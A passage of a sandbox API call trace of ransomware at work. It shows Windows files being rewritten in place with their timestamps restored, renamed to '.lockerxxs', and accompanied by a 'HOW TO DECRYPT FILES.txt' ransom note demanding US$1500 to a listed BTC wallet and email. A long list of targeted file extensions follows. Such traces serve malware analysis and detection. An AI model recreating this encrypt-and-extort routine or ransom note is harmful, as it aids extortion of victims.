PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.html") returned 0 [0089.266] lstrlenA (lpString="*.html") returned 6 [0089.266] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.htm") returned 0 [0089.266] lstrlenA (lpString="*.htm") returned 5 [0089.266] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.xlsx") returned 1 [0089.266] lstrlenA (lpString="*.xlsx") returned 6 [0089.266] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx" [0089.266] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx" [0089.266] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx." [0089.266] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx.lockerxxs" [0089.266] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\im5pbdzl_0mb2goz6\\-qzfo-7_wu9ncnjygjks\\fapu.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0089.267] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5613 [0089.267] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x4ca360d0, dwHighDateTime=0x1d5dfc3), lpLastAccessTime=0x407536*(dwLowDateTime=0x80e8e940, dwHighDateTime=0x1d5dfb5), lpLastWriteTime=0x40753e*(dwLowDateTime=0x80e8e940, dwHighDateTime=0x1d5dfb5)) returned 1 [0089.267] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0089.268] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x55ed, lpOverlapped=0x0) returned 1 [0089.270] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx") returned="FApU.xlsx" [0089.270] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0089.270] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x55ed, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x55ed, lpOverlapped=0x0) returned 1 [0089.271] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.273] CloseHandle (hObject=0x90) returned 1 [0089.273] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\im5pbdzl_0mb2goz6\\-qzfo-7_wu9ncnjygjks\\fapu.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\im5pbdzl_0mb2goz6\\-qzfo-7_wu9ncnjygjks\\fapu.xlsx.lockerxxs")) returned 1 [0089.274] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4619b9a0, ftCreationTime.dwHighDateTime=0x1d5e679, ftLastAccessTime.dwLowDateTime=0xb9f45b40, ftLastAccessTime.dwHighDateTime=0x1d5da22, ftLastWriteTime.dwLowDateTime=0xb9f45b40, ftLastWriteTime.dwHighDateTime=0x1d5da22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3800033b, dwReserved1=0x4e00c4, cFileName="Nk1iLsKBqx", cAlternateFileName="NK1ILS~1")) returned 1 [0089.274] lstrcmpA (lpString1=".", lpString2="Nk1iLsKBqx") returned -1 [0089.275] lstrcmpA (lpString1="..", lpString2="Nk1iLsKBqx") returned -1 [0089.275] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx") returned="FApU.xlsx" [0089.275] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\", lpString2="Nk1iLsKBqx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx" [0089.275] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx") returned 89 [0089.275] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4619b9a0, ftCreationTime.dwHighDateTime=0x1d5e679, ftLastAccessTime.dwLowDateTime=0xb9f45b40, ftLastAccessTime.dwHighDateTime=0x1d5da22, ftLastWriteTime.dwLowDateTime=0xb9f45b40, ftLastWriteTime.dwHighDateTime=0x1d5da22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72004e, dwReserved1=0x4a0047, cFileName=".", cAlternateFileName="")) returned 0x502658 [0089.275] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0089.275] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4619b9a0, ftCreationTime.dwHighDateTime=0x1d5e679, ftLastAccessTime.dwLowDateTime=0xb9f45b40, ftLastAccessTime.dwHighDateTime=0x1d5da22, ftLastWriteTime.dwLowDateTime=0xb9f45b40, ftLastWriteTime.dwHighDateTime=0x1d5da22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4a0000, cFileName="..", cAlternateFileName="")) returned 1 [0089.275] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0089.275] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0089.275] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bf01b70, ftCreationTime.dwHighDateTime=0x1d5d838, ftLastAccessTime.dwLowDateTime=0xd5532b40, ftLastAccessTime.dwHighDateTime=0x1d5d7f3, ftLastWriteTime.dwLowDateTime=0xd5532b40, ftLastWriteTime.dwHighDateTime=0x1d5d7f3, nFileSizeHigh=0x0, nFileSizeLow=0x2702, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="b8xL5z1M6 10.csv", cAlternateFileName="B8XL5Z~1.CSV")) returned 1 [0089.276] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0089.276] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="b8xL5z1M6 10.csv") returned 1 [0089.276] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="b8xL5z1M6 10.csv") returned 1 [0089.276] lstrcmpiA (lpString1="", lpString2="b8xL5z1M6 10.csv") returned -1 [0089.276] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\*.*") returned="*.*" [0089.276] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\" [0089.276] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\") returned="" [0089.276] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\HOW TO DECRYPT FILES.txt" [0089.277] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\im5pbdzl_0mb2goz6\\-qzfo-7_wu9ncnjygjks\\nk1ilskbqx\\how to decrypt files.txt")) returned 0xffffffff [0089.277] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\im5pbdzl_0mb2goz6\\-qzfo-7_wu9ncnjygjks\\nk1ilskbqx\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0089.278] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0089.278] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0089.280] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0089.280] CloseHandle (hObject=0x94) returned 1 [0089.280] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\", lpString2="b8xL5z1M6 10.csv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv" [0089.280] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.ems") returned 0 [0089.280] lstrlenA (lpString="*.ems") returned 5 [0089.280] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.db") returned 0 [0089.281] lstrlenA (lpString="*.db") returned 4 [0089.281] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.dbf") returned 0 [0089.281] lstrlenA (lpString="*.dbf") returned 5 [0089.281] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.myox") returned 0 [0089.281] lstrlenA (lpString="*.myox") returned 6 [0089.281] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.myo") returned 0 [0089.281] lstrlenA (lpString="*.myo") returned 5 [0089.281] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.qbw") returned 0 [0089.281] lstrlenA (lpString="*.qbw") returned 5 [0089.281] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.qbb") returned 0 [0089.281] lstrlenA (lpString="*.qbb") returned 5 [0089.281] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.qbm") returned 0 [0089.281] lstrlenA (lpString="*.qbm") returned 5 [0089.281] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.qbo") returned 0 [0089.281] lstrlenA (lpString="*.qbo") returned 5 [0089.281] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.qbx") returned 0 [0089.281] lstrlenA (lpString="*.qbx") returned 5 [0089.281] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.qba") returned 0 [0089.282] lstrlenA (lpString="*.qba") returned 5 [0089.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.qby") returned 0 [0089.282] lstrlenA (lpString="*.qby") returned 5 [0089.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.qbj") returned 0 [0089.282] lstrlenA (lpString="*.qbj") returned 5 [0089.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.ofx") returned 0 [0089.282] lstrlenA (lpString="*.ofx") returned 5 [0089.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.qif") returned 0 [0089.282] lstrlenA (lpString="*.qif") returned 5 [0089.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.mye") returned 0 [0089.282] lstrlenA (lpString="*.mye") returned 5 [0089.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.mbox") returned 0 [0089.282] lstrlenA (lpString="*.mbox") returned 6 [0089.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.eml") returned 0 [0089.282] lstrlenA (lpString="*.eml") returned 5 [0089.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.pst") returned 0 [0089.282] lstrlenA (lpString="*.pst") returned 5 [0089.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.ost") returned 0 [0089.283] lstrlenA (lpString="*.ost") returned 5 [0089.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.idx") returned 0 [0089.283] lstrlenA (lpString="*.idx") returned 5 [0089.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.dbx") returned 0 [0089.283] lstrlenA (lpString="*.dbx") returned 5 [0089.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.sql") returned 0 [0089.283] lstrlenA (lpString="*.sql") returned 5 [0089.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.mdb") returned 0 [0089.283] lstrlenA (lpString="*.mdb") returned 5 [0089.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.fdb") returned 0 [0089.283] lstrlenA (lpString="*.fdb") returned 5 [0089.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.wab") returned 0 [0089.283] lstrlenA (lpString="*.wab") returned 5 [0089.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.dat") returned 0 [0089.283] lstrlenA (lpString="*.dat") returned 5 [0089.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.txt") returned 0 [0089.283] lstrlenA (lpString="*.txt") returned 5 [0089.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.jpeg") returned 0 [0089.284] lstrlenA (lpString="*.jpeg") returned 6 [0089.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.jpg") returned 0 [0089.284] lstrlenA (lpString="*.jpg") returned 5 [0089.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.png") returned 0 [0089.284] lstrlenA (lpString="*.png") returned 5 [0089.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.php") returned 0 [0089.284] lstrlenA (lpString="*.php") returned 5 [0089.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.cs") returned 0 [0089.284] lstrlenA (lpString="*.cs") returned 4 [0089.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.cpp") returned 0 [0089.284] lstrlenA (lpString="*.cpp") returned 5 [0089.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.rar") returned 0 [0089.284] lstrlenA (lpString="*.rar") returned 5 [0089.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.zip") returned 0 [0089.284] lstrlenA (lpString="*.zip") returned 5 [0089.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.html") returned 0 [0089.284] lstrlenA (lpString="*.html") returned 6 [0089.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.htm") returned 0 [0089.284] lstrlenA (lpString="*.htm") returned 5 [0089.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.xlsx") returned 0 [0089.285] lstrlenA (lpString="*.xlsx") returned 6 [0089.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.xls") returned 0 [0089.285] lstrlenA (lpString="*.xls") returned 5 [0089.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.mp4") returned 0 [0089.285] lstrlenA (lpString="*.mp4") returned 5 [0089.285] PathMatchSpecA 